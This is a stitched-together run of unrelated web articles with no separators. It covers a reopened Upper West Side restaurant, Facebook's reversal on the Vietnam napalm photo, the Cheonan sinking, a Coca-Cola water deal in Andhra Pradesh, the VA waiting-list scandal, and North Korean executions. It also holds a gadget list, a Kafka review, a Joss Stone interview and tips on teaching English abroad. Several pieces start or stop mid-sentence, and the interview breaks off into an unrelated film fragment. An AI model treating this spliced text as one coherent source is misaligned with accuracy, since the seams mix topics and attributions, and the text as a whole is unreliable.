“What I see in the recent [Westerns], like the Tarantino movies, True Grit, even No Country for Old Men, is they’re kind of meta. They’re doing the genre as a genre,” curator Garrett-Davis explains. “A lot of the most artistically interesting and critically successful films recently have that sort of post-modern or meta level where you’re commenting on it as a genre.”Following a February fire that shuttered the restaurant, Upper West Side crowd-pleaser Jacob’s Pickles is reopening Thursday, while owner Jacob Hadjigeorgis maintains newish restaurant Maison Pickle — and pushes forward plans for a third restaurant in the neighborhood.
The new place will feature a short menu of dumplings, like the shrimp pillow dumplings on the menu at Maison Pickle, and soft-serve for dessert. The space at 513 Amsterdam Avenue is expected to open before the end of the year.
Following that four-alarm fire on the block of Jacob’s Pickles at 509 Amsterdam Avenue, Hadjigeorgis estimated that it would take at least a couple weeks to reopen — as opposed to what in reality took nearly seven months. Because the place had been flooded in fighting the fire, he had to entirely gut the place and rebuild from the electric to the floors. In the meantime, the restaurant helped raise over $7,000 in a GoFundMe campaign for the families on the block displaced by the fire.
“It’s a moment of joy to continue where we left off,” says Hadjigeorgis of the reopening. “We’re looking to solidify relationships with the neighborhood.” The restaurant opened over five years ago and “is not looking to reinvent itself,” he says, though there will be a few adds to the menu.
Hadjigeorgis, a New Yorker, opened his first restaurants in Boston that showcased mac ‘n cheese at Faneuil Hall; eventually he returned to his hometown and capitalized on the Upper West Side.Image copyright Aftenposten/Nick Ut Image caption Espen Egil Hansen is editor of Aftenposten, Norway's largest newspaper.
Facebook says it will allow an iconic photograph of a girl fleeing a Napalm attack taken during the Vietnam war in 1972 to be used on its platform.
It had previously removed the image, posted by a Norwegian author, on the grounds that it contained nudity.
The move sparked a debate about Facebook's role as an editor.
The editor of Norway's largest newspaper had written an open letter to Facebook's chief Mark Zuckerberg calling the ban "an abuse of power".
The tech giant said it had "listened to the community" and acknowledged the "global importance" of the photo.
"Because of its status as an iconic image of historical importance, the value of permitting sharing outweighs the value of protecting the community by removal, so we have decided to reinstate the image on Facebook where we are aware it has been removed," it said in a statement.
"It will take some time to adjust these systems but the photo should be available for sharing in the coming days.
"We are always looking to improve our policies to make sure they both promote free expression and keep our community safe."
Image copyright Getty Images Image caption Norwegian Prime Minister Erna Solberg said it demonstrated the power of social media.
The Norwegian prime minister - who had earlier posted a copy of the photo on Facebook herself only to see it removed - welcomed the U-turn.
"That's very good, I'm a happy prime minister," Erna Solberg told BBC Radio 4's The World Tonight programme.
"It shows that using social media can make [a] political change even in social media."
Tom Egeland, the author whose Facebook account had been suspended over the affair, also expressed his pleasure.
"Now I'm happy!" he tweeted.
"This does not alter at all the difficult issues that involve Facebook and the Norwegian media. But tonight I'm just happy."
Tech or media?
But Espen Egil Hansen - the editor of Aftenposten, who had brought the issue to prominence - said he still had concerns.
"When it comes to this photo specifically I would say that it was a sensible decision by Facebook. That's what we editors have to do sometimes - realise that we made a mistake and change our minds," he wrote in Norwegian on the newspaper's site.
"But the main point of my article, and the point that I have asked Mark Zuckerberg to engage in, is the debate about Facebook's power that results from so much information going through its channels. And that still stands.
"He should begin to take part in this discussion, for there are no simple solutions. Facebook must recognise that it has become an information filter - and that raises problematic issues."
Last month, Mr Zuckerberg told an Italian audience that he did not want his firm to become a news editor.
"No, we are a tech company, not a media company," he said.
"The world needs news companies, but also technology platforms, like what we do, and we take our role in this very seriously."Defense Minister Kim Tae-young's comments on Sunday that a bubble jet caused by a heavy torpedo was the most likely cause of the blast that sank the Navy corvette Cheonan have put North Korean heavy torpedoes on the top of the list of suspects.
It is difficult to imagine a country other than North Korea launching a torpedo attack against a South Korean warship, and the extent of damage the Cheonan suffered has made a heavy torpedo the probable cause. Military experts believe North Korea has four types of heavy torpedoes: Yu-3G, ET-80A, TYPE 53-59, and the TYPE 53-56.
One source said if a North Korean torpedo was the culprit, it would most likely have been a Yu-3G. Developed in China during the mid 1980s, the Yu-3G is a "passive acoustic homing" torpedo that tracks the sounds of a vessel's propellers and its wake and attacks accordingly. Experts believe the North would have equipped the Yu-3G with a fuse that can be detonated by the magnetic field generated by a vessel.
The lower part of the Cheonan, beneath the gas turbine room where the external explosion is believed to have happened, is the part of a ship that produces the strongest magnetic field. When equipped with a 200 kg high explosive, the Yu-3G, with a range of 12 km, is said to be strong enough to split a war ship the size of the Cheonan in half.
The ET-80A is also a passive acoustic homing torpedo with a range of 7.3 km. The Type 53-59 and Type 53-56 torpedoes, which were developed in the former Soviet Union and were exported to China and North Korea, are straight-track projectiles that travel in a straight line toward their targets after being fired.10 More Cool Green Gadgets to Help You Save Energy
March 17th, 2011 by Zachary Shahan
The post I wrote last weekend on 3 cool green gadgets for saving energy was quite popular. And while looking around for the coolest, most effective green gadgets I could find, I saw a number of gadgets I almost included. So, as a follow-up to that first post, here are a few more green gadgets to consider purchasing.
Small Devices
USBCELL: Tired of throwing away batteries (and polluting the environment in the process)? But not a fan of those large, clunky battery chargers (or always forget to bring yours somewhere you need it)? USBCELL is a battery that can be recharged by plugging it into a USB port on any computer. Cool idea. (Cost: $10-20 for 2 AA Battery Cell Packs on Amazon — other options also available)
Surge for iPhone and iPhone 3GS: Very simply, Surge keeps your iPhone (3G or 3GS) or iPod Touch going for hours longer without needing to suck energy from the electric grid. It is basically a carry case with a small solar panel on the back. Charge it up wherever the sun is. (~$70 on Amazon.) Similar items, for charging mobile phones, iPods/Mp3 players, PDAs, GPS units, and digital cameras: K3 Wind and Solar Mobile Charger: (~$90 on Amazon); Solio Universal Hybrid Solar Charger (~$90 on Amazon); Freeloader (£16 to £27 on Amazon).
Water Pebble: Probably created by a Catholic, the Water Pebble ‘encourages’ you to use less water by giving you a little guilt trip. It measures how much water you use in your first shower with it in place. Then, in each subsequent shower, lights “flashing gently from green through to red” indicate when you should turn the shower off to save a little more water each time. Of course, by saving water, you are using less energy to heat the water. (Cost: $10 on UncommonGoods)
Eco Kettle 2 (Only UK?): Use a kettle to heat water? If you do, you could probably save a ton of energy by switching to the Eco Kettle 2. It uses 31% less energy than other kettles, on average, and also reduces boiling time by about 90 seconds (no complaint on that). I’m not sure if it’s available in the U.S. — available on many websites, but all using British Pounds. (Cost: £30 to £40)
Intellipanel (Only UK?): Have devices like speakers, monitors, printers, external hard drives, etc that are connected to your TV or computer that you always forget or are too lazy to turn off and unplug when you turn off your TV or computer? These handy adapters will automatically do so for you. (Cost: £8.50 to £21)
Bye Bye Standby Saver: Plug any of your electrical devices into the Bye Bye Standby Adapter and when they are not in use and on standby, you can easily cut power to them with a remote control. The kit includes two wall adapters and a remote control. (Cost: $40 on Amazon)
Similar Product: Standby Buster (Only UK?): Plug this little electrical socket into a normal electrical socket and then plug any electrical devices into it. Whenever those devices are not in use, you can make sure they are using no energy at all (not on standby) via remote control. Again, I only see this for sale in Europe. Reportedly, “Standby Buster is the only consumer electronics mains switch to be recommended by the Energy Saving Trust.” (Cost: £19 on Amazon)Kafka: The Early Years. By Reiner Stach. Translated by Shelley Frisch. Princeton University Press; 564 pages; $35.
POOR Franz Kafka. His lifetime being misunderstood by his family has been followed by an even longer literary afterlife being misunderstood by the world. According to a new biography by Reiner Stach, Kafka was not the neurotic, world-removed writer of, say, Isaac Bashevis Singer’s 1960s story, “A Friend of Kafka”, in which a friend says Kafka’s inhibitions “impeded him in everything”. Nor was he scarred solely by a difficult relationship with his overbearing father, an idea that Alan Bennett’s play “Kafka’s Dick” toyed with in the 1980s.
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In “Kafka: The Early Years”, the last instalment of a mighty, three-volume biography, Mr Stach pursues close description of Kafka’s life and times rather than the “critical biography” approach combining biography and textual interpretation. What Mr Stach uncovers in this volume—written last because of a long struggle over access to documents—are the formative experiences of a Kafka who becomes new and surprisingly relevant.
“Readers…will find myths about Kafka exploded,” writes Shelley Frisch in her translator’s preface. Mr Stach himself lauds “the many pieces of the mosaic discovered by others”, a half-century of academic discovery (about Kafka’s first-rate work as an insurance clerk, for example) that Mr Stach now brings to a wider audience. Yet even those immersed in the specialist work benefit from the illumination that Mr Stach’s detailed digging brings.
Kafka wrote his famous “Letter to His Father” in 1919, in which he took his father, Hermann, to account for his boorish ways with his son, who became beset by guilt and fear of punishment. But, as Mr Stach vividly shows, loneliness, not humiliation, was Kafka’s first formative experience. Until he was four, his father and mother were busy in the family haberdashery shop 12 hours a day, six and a half days a week. Kafka learned that social relations were fraught and unstable—with great consequence for literature.
In Mr Stach’s telling, this insecurity was compounded by threats that the observant and highly sensitive Kafka found in the world: an education system based on rigorous exams, and the risk of failing them; a society beset by tensions between Czechs and Germans, in which Jews were often the scapegoats; and new-fangled machines like aeroplanes, which both delighted and terrified the young author.
According to Mr Stach, guilt and punishment preoccupied Kafka from 1912—the year he wrote “The Metamorphosis”, a groundbreaking story—until early 1915. But later works posed a new question: “What do people have to do to be accepted by a group—and why are some never accepted?” For the biographer, this is precisely the theme of “The Castle”, an unfinished novel that Mr Stach calls Kafka’s most brilliant work, written two years before he died of tuberculosis in 1924, aged 40.
In today’s age of backlash against globalisation, the arc that Mr Stach draws between “The Early Years” and Kafka’s later life takes on a new significance. It traces the life of a misunderstood German-speaking Jew in a city run first by an Austrian emperor, then by assertively nationalist Czechs. “We move from guilt to the question of identity,” Mr Stach says. “The question, ‘Who am I?’ is, after all, closely linked to, ‘Where do I belong?’”
The bloody climax of nationalism that followed makes Kafka’s story not a little poignant: he found a true home neither in life nor in death. The difficulty of writing “The Early Years” was a symptom of this. Mr Stach spent years trying to persuade the Israeli heirs of Max Brod, Kafka’s friend and literary executor, who left Prague for Palestine in the 1930s, to let him read Brod’s diaries. Though he will not say how, Mr Stach got hold of copies of three volumes, rendering new insights about Brod’s and Kafka’s world.
The Israeli Supreme Court recently ruled that the Brod manuscripts should be placed in the National Library. This is good news for the public, but ensures that Kafka will remain rootless: his and Brod’s manuscripts will be scattered between Germany, Britain and Israel. And rootlessness breeds indifference. Vienna has neglected the sanatorium where Kafka died. Berlin has left commemoration of Kafka’s time there to private initiatives. And the Czech government sees Kafka more as a tourist magnet than as a cultural icon. Mr Stach concludes that “No state feels responsible for him. That’s absurd.”Mangalagiri: The Andhra Pradesh government is all set to supply water from Krishna river at a throwaway price to beverage giant Coca-Cola for its bottling plant at Atmakuru village near Mangalagiri. The government's move to supply five million litres a day (MLD) to Hindustan Coca-Cola Beverages Private Ltd has come at a time when several villages in the area are grappling with drinking water shortage and farmers are seeking water to irrigate crops.The Tenali municipal council passed a resolution recently to supply water from its dedicated drinking water channel, which has triggered protests from farmers. The opposition parties criticized the TDP government for being generous to Coca-Cola and compromising on the rights of farmers."We will go ahead with the supply once the government gives the nod," municipal commissioner P Shakuntala told TOI. "Since we are utilizing only 5 MLD from the water channel at present, we can spare water to the Coca-Cola plant, which will help us generate additional revenue," she reasoned. She said the water needed for Tenali is not much now as all the households are yet to get connections, but the requirement would go up once the capital city construction work begins.Places like Atmakuru, Tenali (rural), Chinnavadlapudi, Ippatam, Pedavadlapudi, Tadepalli and Duggirala are already hit by water shortage. "Does the government want its rural poor to drink beverages sold by Coca-Cola? The Chandrababu Naidu government is more concerned about a beverage company than the drinking water needs of villagers," lamented YSR Congress leader Ambati Rambabu Sources said Coca-Cola is believed to have promised to pay Rs 1.8 crore annually towards water charges (for supply of 2,000 million litres) to Tenali municipality. "We collect Rs 30 per 1,000 litres from industries," explained executive engineer Prabhakara Rao. This works out to 0.03 paise for each litre.Interestingly, Tenali municipality has spent Rs 100 crore to develop the full-fledged drinking water project and pays Rs 2 crore every year to the government to clear its loan.Ironically, the Tenali municipal council gave its nod for sale of water after neighbouring Mangalagiri municipality turned down a similar proposal. It is learnt that Coca-Cola lobbied hard to get the proposal cleared by Mangalagiri council as the plant is located closer to it."We rejected the Coca-Cola request as we were apprehensive about shortage of drinking water in the coming years. I am trying to convince the corporators as senior officials from the Chief Minister's Office (CMO) had asked me to get the proposal cleared," municipal chairman Ganji Chiranjeevi said.Coca Cola, which has been operating in Atmakuru since March 1999, earlier relied on groundwater for its operations. It had earlier sought permission to use water from the Krishna main canal in December 2007. A senior executive of the company, in an email response, said that sufficient quantity is available in borewells located on the plant premises.Meanwhile, opposition parties have decided to intensify agitation against the proposed sale of water to Coca-Cola with a demand, 'Tenali water only for Tenali.'Review: Golden Video Review Tron Evolution with FNJimmy
Posted by: goukijones Dec 21, 2010 | 13 comments
Tagged: exclusive exclusive-video fnjimmy golden-video-review review tron-evolution video
View all stories by goukijones
FNJimmy plays and reviews Tron Evolution. Walkthoughs, technique, offensive strategies, cycling tips and combat maneuvering that had the developer's shitting their pants.
This is FNJimmy at his finest. All original FNJimmy gameplay. Can you count how many deaths?
FNJimmy shows off incredible free running including complete walkthroughs of some of the most challenging free run areas in Tron Evolution.
Combat strategies and in-depth button combinations will carry your game to the next level. FNJimmy explains everything!
Gaming is reborn with the new Tron bikes in Tron Evolution and FNJimmy has all of the cycling tips you will need to unlock 1 achievement.
Pesky tanks in Tron challenging you? Check out FNJimmys parkour bomber style offense in this exclusive boss battle.
One of the most controversial final verdict's ever on Golden Review.
Don't miss it! And thanks for watching. Please leave a comment.
And I quote. "See you in space muthafucka's!" From FNJimmy.
Dead Space 01/25/2011
Buy direct from Gouki.com - Review copy. Tron Evolution $27.99.Story highlights House Veterans Affairs Committee chair says more to come in VA scandal
House speaker says he's getting closer to calling for VA Secretary Shinseki to step down
VA officials don't show up for a meeting with House committee on scandal
VA Secretary Eric Shinseki has not offered to resign, aims to reassure veterans in statement
It's "just the tip of the iceberg." That's what a congressional committee chairman investigating allegations of delayed care and cooked books at Veterans Affairs health care facilities told CNN.
Rep. Jeff Miller, a Florida Republican who heads the House Veterans Affairs panel, on Thursday forecast more serious developments in the national program serving nearly 9 million veterans.
"We've received some information and some tips that will make what has already come look like kindergarten stuff," he told CNN's New Day.
The controversy has broadened since CNN first reported six months ago on allegations of alarming shortcomings within the VA medical care system that potentially have had deadly consequences in dozens of cases.
JUST WATCHED VA's Shinseki writes letter to vets Replay More Videos... MUST WATCH VA's Shinseki writes letter to vets 01:32
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JUST WATCHED How is Obama handling the VA scandal? Replay More Videos... MUST WATCH How is Obama handling the VA scandal? 05:05
Developments taking shape on Thursday included a meeting later in the day between embattled Veterans Affairs Secretary Eric Shinseki and the No. 2 Democrat in the Senate, Richard Durbin of Illinois.
Shinseki, who has come under pressure from some quarters to step down, told reporters after the meeting that he has not offered his resignation to President Barack Obama, who is standing by him.
He later issued a statement to the nation's veterans stressing that the entire matter is the subject of an internal review and an independent investigation.
"The reports of veterans' negative experiences while seeking VA care are of great personal concern to me" and promised action if "any allegations under review are substantiated," he said.
"As we approach our observance of Memorial Day and its special significance to our nation, VA is re-doubling its efforts, with integrity and compassion, to earn your trust," he added.
No shows at meeting
The top Republican in Congress weighed in on Thursday with his concerns about allegations of systemic problems at the VA.
"I have not called for General Shinseki to resign although I have to admit I am getting a little closer," said House Speaker John Bohener. "But here is the point: This isn't about one person. This isn't about the secretary. It is about the entire system underneath him."
Also on Thursday, Robert Jesse, the VA deputy undersecretary, met with members of the House Health Care and Wellness Committee, but three senior VA officials asked to meet with Miller's committee didn't show up.
The VA said the committee didn't give it enough notice, an explanation Miller called disingenuous.
"My intent is to go ahead and subpoena them" for a hearing before his committee on May 30, Miller said.
The officials were identified as Dr. Thomas Lynch, an assistant undersecretary for health and clinical operations; Joan Mooney, an assistant secretary for congressional and legislative affairs, and Michael Huff, a congressional relations officer.
JUST WATCHED Shinseki not offering resignation Replay More Videos... MUST WATCH Shinseki not offering resignation 03:04
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Miller has accused the VA of failing to adequately respond to his panel's May 8 subpoena, which included a request for information about the alleged destruction of a secret waiting list for care at the Phoenix Veterans Affairs Health Care System.
In a statement to CNN, the VA said it "is committed to working with the committee to provide relevant information expeditiously" and that it has "produced over 3,000 pages of documents to the committee" so far.
Separately, Sen. Marco Rubio sought to advance a proposal that would change federal rules to make it easier to fire VA executives. Similar legislation was approved by the House on Wednesday.
Rubio said that Shinseki should have the power to hold people accountable. "Give the secretary the power to fire employees underneath him who are not doing their jobs," he said. "This is a matter of urgency."
Obama speaks out
The overall scandal prompted a response on Wednesday from Obama, who expressed dismay and demanded accountability, but also said he needed more time to find out what was going on.
"If these allegations prove to be true, it is dishonorable, it is disgraceful, and I will not tolerate it, period," Obama said.
Obama noted that the public wants a "swift reckoning" on the VA issue, but he defended the record of his administration and Shinseki.
On Wednesday, it was disclosed that some veterans hurt in combat in Iraq and Afghanistan are being made to wait for months to be seen in Phoenix, despite a mandate that they be give priority, according to a VA doctor.
Dr. Katherine Mitchell, the medical director of the Phoenix VA's post-deployment clinic, outlined the allegations on CNN's "AC 360."
Probing record keeping, lists
CNN reported last month that in Phoenix, the department used fraudulent record-keeping -- including the alleged secret list -- that covered up excessive waiting periods for veterans, some of whom died in the process.
JUST WATCHED A "Benghazi-like" effect with the VA? Replay More Videos... MUST WATCH A "Benghazi-like" effect with the VA? 01:52
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The list in Phoenix was part of an alleged scheme designed by VA managers there who were trying to hide that 1,400 to 1,600 sick veterans were forced to wait months to see a doctor, according to a recently retired top VA doctor and several high-level sources.
Overall, the number of VA facilities under investigation has expanded to 26, the agency's Office of Inspector General said Tuesday.
An internal VA memo from 2010 showed officials warned of "inappropriate scheduling practices" to cover up excessive waits for veterans four years ago. But the CNN investigation shows such practices have continued.
The VA has acknowledged 23 deaths nationwide due to delayed care, and the agency's inspector general has launched an investigation of the Phoenix allegations that involve up to 40 other deaths.
At a Senate hearing last week, the inspector general said his investigation so far found a possible 17 deaths of veterans waiting for care in Phoenix but added there was no evidence that excessive waiting was the reason.
Obama said Wednesday that the cooked books and excessive waits applied more to veterans with chronic conditions who are among the 85 million VA appointments each year instead of those needing emergency attention.FILE PHOTO - A North Korean flag flies on a mast at the Permanent Mission of North Korea in Geneva October 2, 2014. REUTERS/Denis Balibouse/File Photo
SEOUL (Reuters) - North Korea publicly executed two officials in early August for disobeying leader Kim Jong Un, a South Korean newspaper reported on Tuesday, in what would be the latest in a series of high-level purges under the young leader's rule, if confirmed.
Kim took power in 2011 after the death of his father, Kim Jong Il, and his consolidation of power has included purges and executions of top officials, South Korean officials have said.
Citing an unidentified source familiar with the North, the JoongAng Ilbo daily said former agriculture minister Hwang Min and Ri Yong Jin, a senior official at the education ministry, had been executed.
The report could not be independently verified, and South Korea's Unification Ministry, which handles North Korea-related matters, did not have immediate comment.
Some previous media reports of executions and purges in the reclusive state later proved inaccurate.
The report of the executions comes soon after the South said North Korea's deputy ambassador in London had defected and arrived in the South with his family, dealing an embarrassing blow to Kim's regime.
North Korea rarely announces purges or executions, although state media confirmed execution of Kim's uncle and the man widely considered the second most powerful man in the country, Jang Song Thaek, in 2012 for factionalism and crimes damaging to the economy.
A former defense minister, Hyun Yong Chol, is also believed to have been executed last year for treason, according to the South's spy agency.
The JoongAng Ilbo said the two men were executed by anti-aircraft gun at a military academy in Pyongyang.
North Korean state media described Hwang, one of the officials named, as agriculture minister in 2012, and referred to him as a vice minister of agriculture in 2014.
Hwang was killed because his policy proposals were seen as a challenge to Kim Jong Un, JoongAng Ilbo said. Ri was caught nodding off during a meeting with Kim and later investigated for corruption and showing disrespect to the leader, it added.
(Reporting by Ju-min Park; Additional reporting by James Pearson; Editing by Tony Munroe and Clarence Fernandez)Joss Stone (born Joscelyn Stoker) grew up listening to her parents’ record collections, falling in love with Aretha Franklin at an early age. She auditioned for the BBC’s Star for a Night at age 13 on a lark and won, leading to a record deal and her multiplatinum 2003 debut, The Soul Sessions. At 16, she became the youngest person nominated for the United Kingdom’s prestigious Mercury Music Prize.
By the time she was 22, Stone was done with the glamour and glitz of being a pop star. She paid EMI almost everything she had—allegedly over $10 million—to buy her way out of her contract. Freedom was that important to her. She’s released three albums since then, including her reggae-flavored latest, 2015’s Water for Your Soul, produced by Damien Marley, who encouraged her stylistic stretch.
Stone is supporting the album with an unusual world tour. Usually, an artist’s “world tour” only includes stops in a few lucrative foreign markets. Not Stone’s. She’s intent on visiting each of the 204 countries of the world, no matter the cost; so far, she’s been to 115 of them. In every country, she interacts with locals and records with indigenous musicians, posting the results on her Facebook page.
Joss Stone is a free spirit full of positivity and substantial spunk, who has chosen how she wants to live her life and has made those dreams come true. Stone spoke with us by phone for almost an hour from Devon, England, where she lives in the same house she grew up in. (The conversation has been edited and condensed for length.)
High Times: So, how are you? How have you been?
Joss Stone: I’ve been mentally busy. It’s a bit crazy.
HT: What have you been so mentally busy with?
JS: I’ve been doing the world tour, so writing songs in different languages and things of this nature. Visiting charities. We went to Italy and Georgia. It was nice, really. And then when we got home, my whole family from Beal—who I love very much—had all come down and we went camping in the rain.
HT: Ohmigod.
JS: [Giggles] Yeah, so I just got back from that. Literally an hour ago we got back loaded with children, and everyone covered in mud. It’s a little bit mad, really. But it’s good.
HT: I heard the inspiration for Water for Your Soul was a camper trip across Europe you took in total ’60s American style.
JS: Years and years ago, actually. Some of the songs from Water for Your Soul come from quite a long time ago. It’s funny because I just got Dennis working again. My camper’s called Dennis. It’s a 1966 Opel Blitz. It’s amazing. I love it. I drove from England to Spain… and it broke down in Bordeaux. I was there for ages because we needed to get a new engine. It was completely fucked. So in the time I was broken down I called my friend Johnny in England and I was like, “Johnny, hey, I’m down here. Would you like to write some songs? ’Cause I’m just chilling. Literally. I’m parked outside this pub and I can’t move.” So he came and we started writing songs. There was one song called “Water for Your Soul,” which we did not include on the record because sonically it didn’t really fit. It was more electronic. The lyrics are saying, Whatever it is that you do, make sure that you are fed. So water yourself, and the saying is: If you don’t water it, it will not grow. So you must work with whatever your food is.
HT: Have you always had an easy time following that advice? You come off as very free-spirited and self-possessed. Was that always the case?
JS: I’ve always had that because my parents instilled it into me, but there have been fits and starts. There have been times, especially when I was a teenager, and you question “you.” Because there are a lot of people around, especially since I was working with a bunch of adults. They’re pricking you constantly. They’re telling you how to do this and who to be and “Well, you should really do that.” It’s a lot of information. So you go through a moment, or a few moments actually, where you go, “Ohmigod, am I wrong or am I right?” Now that I’m older, I think, you know, there is no wrong. You kind of make mistakes but they’re there to teach you, so you should just stick to your path and go with what makes you feel good.
HT: You’re quoted as saying you’re a lot happier now than when you were younger. Why is that?
JS: It kind of goes back to the choice thing. My dad said to me, “In life, you have three choices. You have ‘put up or shut up,’ ‘change it,’ and you have ‘get out.’” If you can think of a fourth choice, please give me a call. But basically, those are your three choices in this life.
If you’re in a situation you don’t like—for example, I was in a record deal that lasted for years. I was learning and it was like being in school for the first bit because I was learning my craft. Then when I got older, I decided I wanted to make the music I always wanted to make. So of course I got a lot of resistance from a lot of people. And those people were a lot older than me. Big businessmen. Quite intimidating characters. And I realized that I was miserable. I didn’t like what was going on. I didn’t really like the promo, the photo shoots, the red carpet …. I realized that was like 90 percent of my job and 10 percent was music. So I thought back to what my dad said. So I tried to change it. I tried to speak to the people that were my boss at the end of the day and I told them I wanted to do the music I wanted to do, and that wasn’t happening. I put up and shut up for like a little bit, I kinda considered that option not really an option, but it’s there. And in the end, I got out.
And now I can do this. I can have this lovely life filled with music. And it’s so wonderful and everything I do now is really positive. So if I do have to go and do a photo shoot or walk on the red carpet, it’s because I chose to do it …. And tomorrow, if I choose to not do it, I just don’t do it. And that’d be it.
HT: You’ve empowered yourself and set yourself free, but it came at a high cost.
JS: Yes, but it doesn’t matter because my focus wasn’t money. So I have no misery from that. But if I was a person that felt success is money, and for some people it is, you know I won’t yuck someone’s yum—if that’s your thing, that’s your thing. Go for it. Make as much money as you can. I don’t care. Not my thing. My thing is something else. So I don’t miss that. At all. Who needs it? How much money do you really need?
HT: You live in the same house where you grew up. You already have a home.
JS: Exactly. I have a home, I’m fine. And you know, if I really have it to go make some money, I can go and do that because I have a choice.
HT: You said as part of your world tour you went to a festival and you were the only one that showed. And they were so grateful. That spirit has to give a lot back.
JS: That was lovely. That was lovely. We were in Istanbul. I don’t know if you remember, but they had the coup. It was a military coup and it was very kind of scary. There was a festival and there were a bunch of musicians that were supposed to be there and they all got scared, basically, and they didn’t go. Which is fair enough. I mean we’re talking about people’s lives here. But for me, as I said, I’m on a different kind of tour. So for me that’s the most important time to go. That’s not the time to turn around and not go. You’re supposed to be there for the people and help them feel like they’re not alone. I read a few articles, and some of the public had been saying that they felt very deserted by the world when that happened. And I’m just so pleased I wasn’t part of that. I’m glad I didn’t desert them.
HT: You did several episodes playing a character on the Showtime series The Tudors. I’m curious about your experience.
JS: I loved it. I thought it was very fun. I did feel a bit out of place. I think musicians, we stay up late and we basically play like children play. So we keep our child alive, like all the time. So to us it’s like, “Let’s go play!” It’s not like, “Let’s go to work.” But I’ve noticed that actors take it very seriously. So that is a different mind-set for me because my whole life and everything that’s serious, I go, “Eh. You’re boring me.” [Laughs] And I kinda move on because I don’t enjoy it. “My God, this is stressful; I’d rather just go play.” So to me it was a different mind-set and I think I need to get into it more if I’m going to do more acting. I need to go, “Right, and let’s |
is possible to take out that evil, to have justice and goodness prevail. We tend to forget that wherever goodness plants a seed, eventually, it will take over the garden."
- The Book Thief opens January 9.When people hear I spent a summer teaching English in Thailand, they often assume I speak fluent Thai. The truth is, you don’t need to be fluent in the local language to teach English abroad. I’m not saying that it doesn’t help, however, it isn’t necessarily required, as the goal is creating an environment of English-language immersion.
Teaching English is a great experience for all parties involved, and if it’s something you’re interested in doing you shouldn’t let fear of not speaking the local language fluently hold you back. Not only will you get the chance to have an eye-opening experience and get a unique perspective of the culture, you’ll also be helping educate children and getting the chance to share your unique background with them.
To help you get the most of your experience teaching English abroad, here are some tips.
Figure out if you want to get paid or volunteer
When I taught English in Thailand, I volunteered with an affordable organization called International Volunteer Headquarters. Basically I paid a small fee which included having 24/7 support, accommodations, meals, school supplies, and cultural activities like elephant trekking and a weekend homestay experience. A portion of the money also went toward benefiting the local community. You can also search through the SE7EN database for free and low-cost opportunities. The truth is, there are a lot of expensive volunteer programs out there for this kind of project, and while many of them are reputable, there’s really no need to spend a fortune to volunteer, especially if you want a truly local experience.
If you’re looking to teach English long-term and want to get paid for your work, I would recommend signing up for a TEFL, TESOL, or CELTA course, as many schools require that you have a certification. While it’s not impossible to get a job without one, you’ll have less choices in the positions you can apply for. Some excellent resources for these kinds of jobs include Dave’s ESL Cafe, ESL JOBS, and Teaching Opportunities Abroad.Educate yourself before you go
Whether you’re teaching English or just traveling, doing a bit of research on the culture before you go is always important. Knowing the etiquette and customs of a community will help you avoid making embarrassing mistakes or possibly offending somebody. Even little things that you may do on a daily basis at home may not be acceptable in other countries. For example, in Thailand sitting with your legs extended out in the direction of another person, touching someone’s head, handing something to someone with your left hand, and raising your voice are all considered offensive. These are things you’ll definitely want to know before arriving to the school you’ll be teaching at.
Understand cultural differences
While certain teaching tactics may work at a school in your hometown, they may not work where you’re teaching English abroad. Certain methods not only may not work, but can also be detrimental to the child’s learning. For example, in my New York high school it wasn’t really a big deal to have a teacher crack a joke about their students or poke fun at them, and while getting yelled at by an instructor was never fun, it wasn’t something that would scar you for life. However, this is not the case all over the world. For example, in Thailand and many Asian countries where “saving face” is of utmost importance, being called on by a teacher and not knowing the answer to the question can be crippling, especially if the teacher yells or loses their patience. What I would often do was have the children work in small groups and then go around to speak with them individually.
Learn some basic phrases
While you don’t need to be fluent in the local language, it doesn’t hurt to know some basic phrases and be able to make small talk. This is true whether you are teaching English or just traveling. While you’ll want to immerse the students in an environment of only English speaking, it’s inevitable that there will be side conversations in the local language, and sometimes giving them short commands in their language and then translating to English can be helpful.
Be prepared
This is one of the most important rules of all. Always make sure to plan out your lessons the night before, knowing what you want to teach as well as how you will teach it. Practice and time out the lessons so that you can feel confident when teaching and will have enough material to take up the entire class period. It can also be helpful to see what other classes before you have done if that information is available.
Visual aids are helpful
Remember that words aren’t the only resource you have to get your point across. Obviously, if a student doesn’t know what a “slide” or a “pineapple” is in English, showing them a picture and saying the word is a helpful tool. I also found charades and acting words out to be useful and fun, although be mindful that cows don’t say “moo” and cats don’t say “meow” all over the world.
Tailor lessons to the age group
Think about what kind of information will be helpful to the group, and the best ways to impart your knowledge. While coloring in letters and pictures and doing crafts may be a worthwhile lesson activity for young children, this will not help children at the higher levels trying to learn networking and job skills. Moreover, remember that the older the students are, the more grammar, sentence construction, and conversational lessons you will need to be utilizing, as teaching English is not just about vocabulary.
Use online resources
If you’re stuck on how to make a lesson plan effective and fun, utilize the myriad online resources there are for ESL teachers. Some of my personal favorites include California State University, Northridge, Total ESL, and Reach to Teach.
Be confident in your abilities
You were selected for this position because you’re a native English speaker. Be confident in your abilities and know that you have the knowledge and resources necessary to do the job; the trick is simply finding effective ways to disseminate it.Experts across the travel industry are warning that masses of tourists are being scared away from visiting the United States, and the loss of tourism jobs could be devastating.
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Though they may differ as to the wisdom of the move, the travel press and most travel experts are of one mind: They are currently drawing attention to an unintended consequence of the Trump-led efforts to stop many Muslims from coming to the U.S., pointing to a sharp drop in foreign tourism to our nation that imperils jobs and touristic income.
It’s known as the “Trump Slump.” And I know of no reputable travel publication to deny it.
Thus, the prestigious Travel Weekly magazine (as close to an “official” travel publication as they come) has set the decline in foreign tourism at 6.8%. And the fall-off is not limited to Muslim travelers, but also extends to all incoming foreign tourists. Apparently, an attack on one group of tourists is regarded as an assault on all.
As far as travel by distinct religious groups, flight passengers from the seven Muslim-majority nations named by Trump were down by 80% in the last week of January and first week of February, according to Forward Keys, a well-known firm of travel statisticians. On the web, flight searches for trips heading to the U.S. out of all international locations was recently down by 17%.
A drop of that magnitude, if continued, would reduce the value of foreign travel within the U.S. by billions of dollars. And the number of jobs supported by foreign tourists and their expenditures in the United States—and thus lost—would easily exceed hundreds of thousands of workers in hotels, restaurants, transportation, stores, tour operations, travel agencies, and the like.
While, earlier in the year, the Administration had boasted of saving 800 jobs in the Carrier Corporation, the drop-off in employment resulting from the travel ban would eclipse that figure.
According to the Global Business Travel Association, in only a single week following announcement of the ban against certain foreign tourists, the activity of business travel declined by nearly $185 million.
